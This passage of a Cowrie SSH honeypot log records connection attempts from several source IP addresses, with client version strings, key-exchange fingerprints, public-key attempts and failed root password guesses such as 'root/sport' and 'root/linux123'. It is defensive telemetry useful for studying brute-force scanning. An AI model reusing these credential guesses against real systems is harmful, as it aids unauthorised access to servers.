,"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:32.240586Z","src_ip":"183.182.125.142","session":"251ccc2a2147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:32.410955Z","src_ip":"68.183.178.130","session":"5548c566a110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sport","message":"login attempt [root/sport] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:33.347570Z","src_ip":"183.182.125.142","session":"251ccc2a2147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nada","message":"login attempt [root/nada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:33.386402Z","src_ip":"68.183.178.130","session":"5548c566a110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:34.618157Z","src_ip":"183.182.125.142","session":"251ccc2a2147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:34.624731Z","src_ip":"68.183.178.130","session":"5548c566a110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:36.666489Z","src_ip":"8.218.166.49","session":"5cb5b50798fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:37.955223Z","src_ip":"8.218.166.49","session":"5cb5b50798fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.366693258285522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:48.159499Z","src_ip":"104.238.81.133","session":"9cabfa883922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.55.185.228","src_port":59436,"dst_ip":"10.17.0.5","dst_port":22,"session":"01ce762a27aa","protocol":"ssh","message":"New connection: 45.55.185.228:59436 (10.17.0.5:22) [session: 01ce762a27aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.039819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.049811Z","src_ip":"45.55.185.228","session":"01ce762a27aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.056976Z","src_ip":"45.55.185.228","session":"01ce762a27aa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:33:0a:ce:4a:4c:59:13:76:ab:6c:af:20:18:e8:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdAUwLQuiA9gXMt55pVaia7cGf38r8ktME2L6yPEUwVcS59F9R5ATLZwBshmxYfyoEhE2pNdBIhTpyrbkRU5m41KxuQo6MbQHwURR5Q33CFD+VTNYk11AtrT3RfZjjyolhfa3ijliScwzfarpI7hNFkuUuddRHTouW/BEUVZBiufqTPRKDGoYd543jzkE8SZVB2dIiS+ZoAox3Jdb4TUcuuWv5mjY2SVVmyEb8vKhYxtyk2FrPuSmF24EQARnbmuN21HOz1tc71rvEAZfjMNyF1oxj5jwDkVlLNn+CeSobcq44E9rZfrTIEuBwPWxvtteyp2oCTmtNTR/jOnOTQoQh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:33:0a:ce:4a:4c:59:13:76:ab:6c:af:20:18:e8:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.073839Z","src_ip":"45.55.185.228","session":"01ce762a27aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:33:0a:ce:4a:4c:59:13:76:ab:6c:af:20:18:e8:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdAUwLQuiA9gXMt55pVaia7cGf38r8ktME2L6yPEUwVcS59F9R5ATLZwBshmxYfyoEhE2pNdBIhTpyrbkRU5m41KxuQo6MbQHwURR5Q33CFD+VTNYk11AtrT3RfZjjyolhfa3ijliScwzfarpI7hNFkuUuddRHTouW/BEUVZBiufqTPRKDGoYd543jzkE8SZVB2dIiS+ZoAox3Jdb4TUcuuWv5mjY2SVVmyEb8vKhYxtyk2FrPuSmF24EQARnbmuN21HOz1tc71rvEAZfjMNyF1oxj5jwDkVlLNn+CeSobcq44E9rZfrTIEuBwPWxvtteyp2oCTmtNTR/jOnOTQoQh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.077463Z","src_ip":"45.55.185.228","session":"01ce762a27aa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:a6:c6:50:24:52:76:c0:3e:f7:c1:21:1f:89:5b:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO6th5gsGH6G9yxhgj6aHMcRzBa+p2r02mw4S9pqnoT+gWciWykTT9HsL/4SdbZKNPxhhG+UJvM1LI1/jehbKJ68/0bHGFzMM/4h/wbkfJwppF+NNe4gqFjFd0+WhvF4EVKv47aKvvmb3RcxUzaq2YwK1JuuK7tmAPMbq9i44cOE0g3yv7Z4GGpEZvNWJ5bxj3e21ms64kqkNPfoKF4wyucvqb8kEq3MqD7Hjf4sFK95+oFFKIKymydNKq12HE2bPvJfmb80gno2eUiey9Tg/rwYQa6g6a/f325IHYQLcdvgt1pnUaJ9gnQlpJi+E7uetz6TF7h1oP8j9Ks+WkcXOH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:a6:c6:50:24:52:76:c0:3e:f7:c1:21:1f:89:5b:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.085473Z","src_ip":"45.55.185.228","session":"01ce762a27aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:a6:c6:50:24:52:76:c0:3e:f7:c1:21:1f:89:5b:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO6th5gsGH6G9yxhgj6aHMcRzBa+p2r02mw4S9pqnoT+gWciWykTT9HsL/4SdbZKNPxhhG+UJvM1LI1/jehbKJ68/0bHGFzMM/4h/wbkfJwppF+NNe4gqFjFd0+WhvF4EVKv47aKvvmb3RcxUzaq2YwK1JuuK7tmAPMbq9i44cOE0g3yv7Z4GGpEZvNWJ5bxj3e21ms64kqkNPfoKF4wyucvqb8kEq3MqD7Hjf4sFK95+oFFKIKymydNKq12HE2bPvJfmb80gno2eUiey9Tg/rwYQa6g6a/f325IHYQLcdvgt1pnUaJ9gnQlpJi+E7uetz6TF7h1oP8j9Ks+WkcXOH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.089259Z","src_ip":"45.55.185.228","session":"01ce762a27aa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:77:7e:48:1a:f6:11:cb:cd:7c:ca:8e:a5:29:d6:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEaP1eSAPJnQdqLysX+tLc7yMZ/HSfjiV67QRc7cOPtqRmQrjf+H5AzAVLRbhh/5S3G5+wRAWTjio+NC7Xx8lnaZkr0upm2ZQFP995t9hN3XGIJi0EU4E0lw0vLLDZ59I921f1xxomBps2uW24JmHhlWl9/DArW8ofVUzqZspFjTc3hK/Oaf349uKunBzn35wnUSU6CRn1Z+YLcWEj1ucdHyzdW/EIXt8gNjqflNSEkOLy7DG7Tm5acZGNnCktjXurJu4N8+A05d6aIgyELGixa4k8XRrLDmU6fmuriNSy1cCpsthgiSXdLNzBqfiAEXsKncn0PuhvQABqEvcx389T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:77:7e:48:1a:f6:11:cb:cd:7c:ca:8e:a5:29:d6:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.095665Z","src_ip":"45.55.185.228","session":"01ce762a27aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:77:7e:48:1a:f6:11:cb:cd:7c:ca:8e:a5:29:d6:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEaP1eSAPJnQdqLysX+tLc7yMZ/HSfjiV67QRc7cOPtqRmQrjf+H5AzAVLRbhh/5S3G5+wRAWTjio+NC7Xx8lnaZkr0upm2ZQFP995t9hN3XGIJi0EU4E0lw0vLLDZ59I921f1xxomBps2uW24JmHhlWl9/DArW8ofVUzqZspFjTc3hK/Oaf349uKunBzn35wnUSU6CRn1Z+YLcWEj1ucdHyzdW/EIXt8gNjqflNSEkOLy7DG7Tm5acZGNnCktjXurJu4N8+A05d6aIgyELGixa4k8XRrLDmU6fmuriNSy1cCpsthgiSXdLNzBqfiAEXsKncn0PuhvQABqEvcx389T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.100621Z","src_ip":"45.55.185.228","session":"01ce762a27aa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:88:6f:00:97:56:d6:10:0d:36:94:58:8e:27:cd:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnzq/l+p72qZGpT1WN+kXD7q+Q+dcwL1bK7V3bl6rzvLCRIA9uZgWHLgQZ/tLN8X1e4/AgNRCKLVfQR8tsGnD2MpvFuaJ6zK5hiVrPB57eGBMEOkVSDvIDmDGjG2m+SKSiKT5UBEROK69G1rCIIIQIORbSR5XKlNr2okOND6wEfOug2kzaJpfPTi2CK1xatbgd6HCqRreGKl6QJfylYgehwP2pD+Ae6HMSPW1GhZxEVLVj3ojibqlQVkpDY1a9CmuTy+0/BK5nufqlSRSjE0dZdph23OIKAuhUApMbg3dOx49Cvw9PKL+WtRk4JN05t9vKW89WGhOMshi1R3oaoOfh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:88:6f:00:97:56:d6:10:0d:36:94:58:8e:27:cd:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.107953Z","src_ip":"45.55.185.228","session":"01ce762a27aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:88:6f:00:97:56:d6:10:0d:36:94:58:8e:27:cd:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnzq/l+p72qZGpT1WN+kXD7q+Q+dcwL1bK7V3bl6rzvLCRIA9uZgWHLgQZ/tLN8X1e4/AgNRCKLVfQR8tsGnD2MpvFuaJ6zK5hiVrPB57eGBMEOkVSDvIDmDGjG2m+SKSiKT5UBEROK69G1rCIIIQIORbSR5XKlNr2okOND6wEfOug2kzaJpfPTi2CK1xatbgd6HCqRreGKl6QJfylYgehwP2pD+Ae6HMSPW1GhZxEVLVj3ojibqlQVkpDY1a9CmuTy+0/BK5nufqlSRSjE0dZdph23OIKAuhUApMbg3dOx49Cvw9PKL+WtRk4JN05t9vKW89WGhOMshi1R3oaoOfh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.112297Z","src_ip":"45.55.185.228","session":"01ce762a27aa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:45:f9:43:71:41:cf:17:48:cd:9f:3e:ff:d7:37:af","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIveYWMgXrhGt0c1ho/ZLDOvf6h3azcalCnCdyM9PilphCxRd6zaYv+VKLhdyYsQOGedIP2YVTlu0/GXTxP5odI8HTXBqJOj3pc5sjbjuk05o+ZN+TwrE3Qn1hYjb6TxmxqO/z2qu7hyQf8CasF8EN1kSMkQKTJk3i5wx3goTzjLAAAAFQCp4u0eQMxRAinAq7s/HJBZIULAhwAAAIBxz9500RwBZmMEbUjcOXJiPJ97vS/0xlDUWHRQFJ5Pp3vOVUcjBB5ydJ4lFRl6FVjVdLadaz4NknNbKwMQp5VQy1ZXXjyyWoXEeqKBsDx2zFyeN/9oPnKKbKBVJKkp9ydTnQ7WNu1JYClRM9kwtJInpS+n/+UhyqStgHcxWiUXFAAAAIBvBuwpNh1u/T09lmYe3d/+oBafGvU8EI4DkA2a7o/+b4uF867otPnopnFK/WOYgrRHCZTjy/hf5a8zG98tEF5R3tJ4zKsIm8ZWLWqgK9dhR9MG9hIfSKd6bjXGMBlwZY1Xp/rqpnplun/Xs2M91949fHfCry0PFvvUQMH/HP/0bw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 55:45:f9:43:71:41:cf:17:48:cd:9f:3e:ff:d7:37:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.122276Z","src_ip":"45.55.185.228","session":"01ce762a27aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:45:f9:43:71:41:cf:17:48:cd:9f:3e:ff:d7:37:af","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIveYWMgXrhGt0c1ho/ZLDOvf6h3azcalCnCdyM9PilphCxRd6zaYv+VKLhdyYsQOGedIP2YVTlu0/GXTxP5odI8HTXBqJOj3pc5sjbjuk05o+ZN+TwrE3Qn1hYjb6TxmxqO/z2qu7hyQf8CasF8EN1kSMkQKTJk3i5wx3goTzjLAAAAFQCp4u0eQMxRAinAq7s/HJBZIULAhwAAAIBxz9500RwBZmMEbUjcOXJiPJ97vS/0xlDUWHRQFJ5Pp3vOVUcjBB5ydJ4lFRl6FVjVdLadaz4NknNbKwMQp5VQy1ZXXjyyWoXEeqKBsDx2zFyeN/9oPnKKbKBVJKkp9ydTnQ7WNu1JYClRM9kwtJInpS+n/+UhyqStgHcxWiUXFAAAAIBvBuwpNh1u/T09lmYe3d/+oBafGvU8EI4DkA2a7o/+b4uF867otPnopnFK/WOYgrRHCZTjy/hf5a8zG98tEF5R3tJ4zKsIm8ZWLWqgK9dhR9MG9hIfSKd6bjXGMBlwZY1Xp/rqpnplun/Xs2M91949fHfCry0PFvvUQMH/HP/0bw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.126107Z","src_ip":"45.55.185.228","session":"01ce762a27aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:54.152683Z","src_ip":"45.55.185.228","session":"01ce762a27aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":55556,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7139eeff057","protocol":"ssh","message":"New connection: 68.183.178.130:55556 (10.17.0.5:22) [session: d7139eeff057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:11.162685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:11.167576Z","src_ip":"68.183.178.130","session":"d7139eeff057","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":16414,"dst_ip":"10.17.0.5","dst_port":22,"session":"d128bd1cc130","protocol":"ssh","message":"New connection: 49.207.40.162:16414 (10.17.0.5:22) [session: d128bd1cc130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:11.192819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:11.199828Z","src_ip":"49.207.40.162","session":"d128bd1cc130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:11.406856Z","src_ip":"68.183.178.130","session":"d7139eeff057","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:11.415652Z","src_ip":"49.207.40.162","session":"d128bd1cc130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sport","message":"login attempt [root/sport] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:12.308946Z","src_ip":"49.207.40.162","session":"d128bd1cc130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:12.389333Z","src_ip":"68.183.178.130","session":"d7139eeff057","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":47694,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb54d58b1fe7","protocol":"ssh","message":"New connection: 14.63.196.175:47694 (10.17.0.5:22) [session: cb54d58b1fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:12.823745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:12.829221Z","src_ip":"14.63.196.175","session":"cb54d58b1fe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 